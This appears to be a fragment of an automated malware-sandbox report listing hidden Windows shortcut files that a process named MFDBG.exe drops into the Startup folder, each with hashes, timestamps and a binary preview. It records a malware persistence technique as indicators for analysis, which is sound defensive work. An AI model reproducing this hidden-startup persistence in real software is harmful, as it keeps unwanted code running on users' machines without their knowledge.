Preview:	L..................F...."...]W%.{....;..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cd1cd548da44fff8a8529fef3d76127.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939508600471537
Encrypted:	false
SSDEEP:	24:8xGhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8xMm0R6rMhpBoUBxdRd1nYyg
MD5:	62988155AAD423071FC8618ED779A9E5
SHA1:	CF0DD3610B4EBA5325564E15F05B3C0FECDB84F5
SHA-256:	E44492EEAB5C0E987CC92599815F95DA479B9538DF69AB914A2CBB44F0A4FB8C
SHA-512:	84E0798F20C369DA27F2B4AD98AB9036775941BB1D525573B895A210D30D6BC887F3AB73E89F76676327E6302A6D0646EF5577B40507B2BC57A6CC6647A6A181
Malicious:	false
Preview:	L..................F...."...]W%.{...Xd..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cd551224c3a40b3a0394558e3003fd4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936882653342598
Encrypted:	false
SSDEEP:	24:8JhBf2p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8JeO0R6rMhpBoUBxdRd1nYyg
MD5:	96FB4BEC8DF160BDF29AB9E3AC8EDC37
SHA1:	47FC0BC88CB2E9CBC89FD71FFDFEB098D84A840D
SHA-256:	1B8932C433E502F70B9996DC5CE7C9776498B1F47A573050300C5DFB9D6BB8B4
SHA-512:	0AFE68179DF49BBDDB78FFD24927D6EBB24412A880FF1037E4606BCC6EC946AAD33F9F992C1DD70474E4FDC72D1C853496E56BF9D92B55EAD4F636C60C042B5D
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d45b64c8ab24d529683c07f7003b20d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938104522900231
Encrypted:	false
SSDEEP:	24:8A8hBfh8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8B+0R6rMhpBoUBxdRd1nYyg
MD5:	B69A83CE531F779E5E113242255DFDA3
SHA1:	36E1C88E34550BEF9BBE7C09250FB30B0030A063
SHA-256:	A3B26D5D884534463AA4BB54EB55C2FCEF0940DC2A82E8D79AB0B90C577047A7
SHA-512:	65E9AEB6B01ADD17B243646B3B89A855487CEB8EB9BF76CC32E97219B829456C1C52308A69700AD0BF784FE440CF510D32FF01D9DB696294EFEBA03F44770CFB
Malicious:	false
Preview:	L..................F...."...]W%.{...6.+.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....0".{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d5c968e54924feda01cd55a67afced6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942759014417272
Encrypted:	false
SSDEEP:	24:84hBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8a30R6rMhpBoUBxdRd1nYyg
MD5:	94525485C509B29611BDF20937CE40EA
SHA1:	0A94E193A78F2B24A56E7D09E8A71B1D494937F9
SHA-256:	6983D805ABF584BCE782272D539F0CF215DB9AFB6779B7EB666EE31061000AC9
SHA-512:	B12003EFE2D58858F9D590D1E2F167461C14ADA4BB4F2BD456B043E2AFE74E28BF004BE1D7CC34C4C5B27C57E5DC409341743CD58A98CCA8A70B0B3F7DD137FE
Malicious:	false
Preview:	L..................F...."...]W%.{....$#.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4d7e406ce5974947bdc9493bc77e18f7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:10 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943178025173195
Encrypted:	false
SSDEEP:	24:8ayPhBfR8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8pTe0R6rMhpBoUBxdRd1nYyg
MD5:	0BA3D0E1F3CAA8E5BE967EBC9B7499B0
SHA1:	8A6DEC12411F9500758113C6F080BBB7F0BCFBDE
SHA-256:	168F0A8A3794F7E07365886D9407C4F29CAF664E15087E1D50B03998DD716E65
SHA-512:	5ECED3A5288BF5D421BC1E2297EA51AE333A7234C6BDF98EBB3C2635804BE2D353420B84354AF7F61DC3E968915959555417A8C4BCDAF088FDBA5089E47CC644
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4dac9550957444a29c6e5616da41cbb2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933377672125618
Encrypted:	false
SSDEEP:	24:81hBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ls0R6rMhpBoUBxdRd1nYyg
MD5:	CAF638614CEAF5D03B92D89BCA6011A1
SHA1:	247F10E686E93CB6477E3FBF1B0A00F906D0D708
SHA-256:	ED990711F42A49735282B6FBF0C5056175390A21863BB58B11ACA1E3D3A1C821
SHA-512:	4ECDC859D74D081557E44731CD9DC21B467A6E77844A6B7BA10D468B5200692B7A5DF8297FC96E30CF1F73D19CC3C4F97FFD63126F4C43322B3DA4A2FF74D486
Malicious:	false
Preview:	L..................F...."...]W%.{....Gz.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4dc9865322b148d5837259d477b95436.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943609941468943
Encrypted:	false
SSDEEP:	24:89hBfC8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89n0R6rMhpBoUBxdRd1nYyg
MD5:	A64CA12818F6CEDBF52A3B67CC023E74
SHA1:	95E0A6A3132A803E5893AD008D36558A4F676F76
SHA-256:	342303C3A8C727FA5D1431637F9260DD24EC4CCD540DA47DB40D90BD16D2DFC4
SHA-512:	71DB0416AA43E9A716134BF9255A7BF044E918C0ECB615961370FDD145B5DDDAD5484BC5E33F6C589BF57F4B47A7BD637CFBF546ADFB9410D08D75FD0D7667AE
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4dce7fa3b22a49328d979f5d462e409a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:52 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9314586094974775
Encrypted:	false
SSDEEP:	24:8LhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8vO0R6rMhpBoUBxdRd1nYyg
MD5:	EF9C5B20DA7B58F09C5D643D6D1151B8
SHA1:	9147B4E52038727CD8BB7DA72B3670A828CD7025
SHA-256:	7D5E86D58BB2DF325EC59C067A3C807AEE3C71E40AE8E9CA2EADF7F865D3BBF7
SHA-512:	F2CCE061C8899B3577CAEC4FB6E3E7B9CA23CAF2087F1E3631B7CEE66963DAFCA8598733F64CC697CA5C1E1604602F3E7BB29EBE26AEF437D99BDADDC41F6AEB
Malicious:	false
Preview:	L..................F...."...]W%.{...1...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...6...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4dfc0a5c710449a18c6d58180471c52f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939043437150233
Encrypted:	false
SSDEEP:	24:8NhBfP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ts0R6rMhpBoUBxdRd1nYyg
MD5:	D488ED6FB2257C3AECAF8C9BD1C83D77
SHA1:	96F9D7BA42E83B61471397DA0CEDCF928DFA1BF8
SHA-256:	B4A8A4D7240B4FF5B8079843477FBB4D4B2477EDC3649D505C7F7226CC46E863
SHA-512:	EB40C7EF5AAD7970BE33F7947B5351CA2D358AE6CD84135722FDF804E44CA7A1621615DCA7CBD03EFCD4373B56E801A2592E72CD39BA1B1D038411EC9EB407FB
Malicious:	false
Preview:	L..................F...."...]W%.{...vBO.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S.E.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e2d4225100348a29f7192e31c5c924e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938031722239853
Encrypted:	false
SSDEEP:	24:8qhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ah0R6rMhpBoUBxdRd1nYyg
MD5:	1B4C3365F2F88313BC23349ADDA24381
SHA1:	570942CA2A99C31EFD5AAE17EC78DBA37CA42F7C
SHA-256:	1B0A4DA441F371D4CCF4E37541828CC64EF7BD217F900013EA2671DF4686685B
SHA-512:	1E8057139CFD071A159450A9A77EBC2B6DA126CD54FEB0C32E56630C452DC3EE58682F74E1732477865BA5F1ED1A74746841B4821A66DA51486CFB7F4EBD4A85
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...^...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e3a9ea5248f4df98ac947da21aba3c0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934580293825342
Encrypted:	false
SSDEEP:	24:83hBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rR0R6rMhpBoUBxdRd1nYyg
MD5:	BBB82B725A4353896D518755AD83FE1C
SHA1:	509E4C2531521051B421371607AC32B2FDFD6173
SHA-256:	0B1411997ACC2A5B682BA80388AAD207B7277A2AD2D826BFABCA6C60277E27F4
SHA-512:	DF2E19226468CBA02DBE8AF6F1FB4E1222A1FE950D1F4885E8C2E14F9F7AC60AB7A4A507018C237F213F1D91372B94BB9A625592DBD9AEF6331813512A16980B
Malicious:	false
Preview:	L..................F...."...]W%.{...o6..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e4c427ba86e4885b904b5f555af08fc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:18 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939997725195718
Encrypted:	false
SSDEEP:	24:8D2mhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8qsgT0R6rMhpBoUBxdRd1nYyg
MD5:	888957FE78FE3A10ABC684D84A3EC3E6
SHA1:	2AB4FB01AB6BA29B13C114E46499F167E41CD837
SHA-256:	CB7F5A2D00E005D149CA26F7D38825B2FB8408C7A28AF56CCB26C083F2FE2A22
SHA-512:	4CEFE7049DD8ED8E3C4A45F7BA1D7BCB00F3E752D45F65D962B364FAD9FCDED94E669F776EAB5174845339D9385829AACC4D02CD082F2820BCFD1012C9AC6A32
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e6fe5b474094c6595994f9cd9dd6efb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93397482072117
Encrypted:	false
SSDEEP:	24:83hBfl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8r60R6rMhpBoUBxdRd1nYyg
MD5:	6541141236AF638EDEBB24794572B622
SHA1:	BC7220E08414CC6D1218976A9B75989A997B2C64
SHA-256:	24E780325E3FBD60BD4ADF7F2B5B4EDE3C7DB3651EC432401538E5C6480DE204
SHA-512:	3797C8461A01242C0A816E6CF956D99915D4AA0C25A66849CA9E3A1A0F79C01E28D8BA25BE9C82CF160CEE1995B7AE5FB848E7138AC7B09F8ECF9315425066B0
Malicious:	false
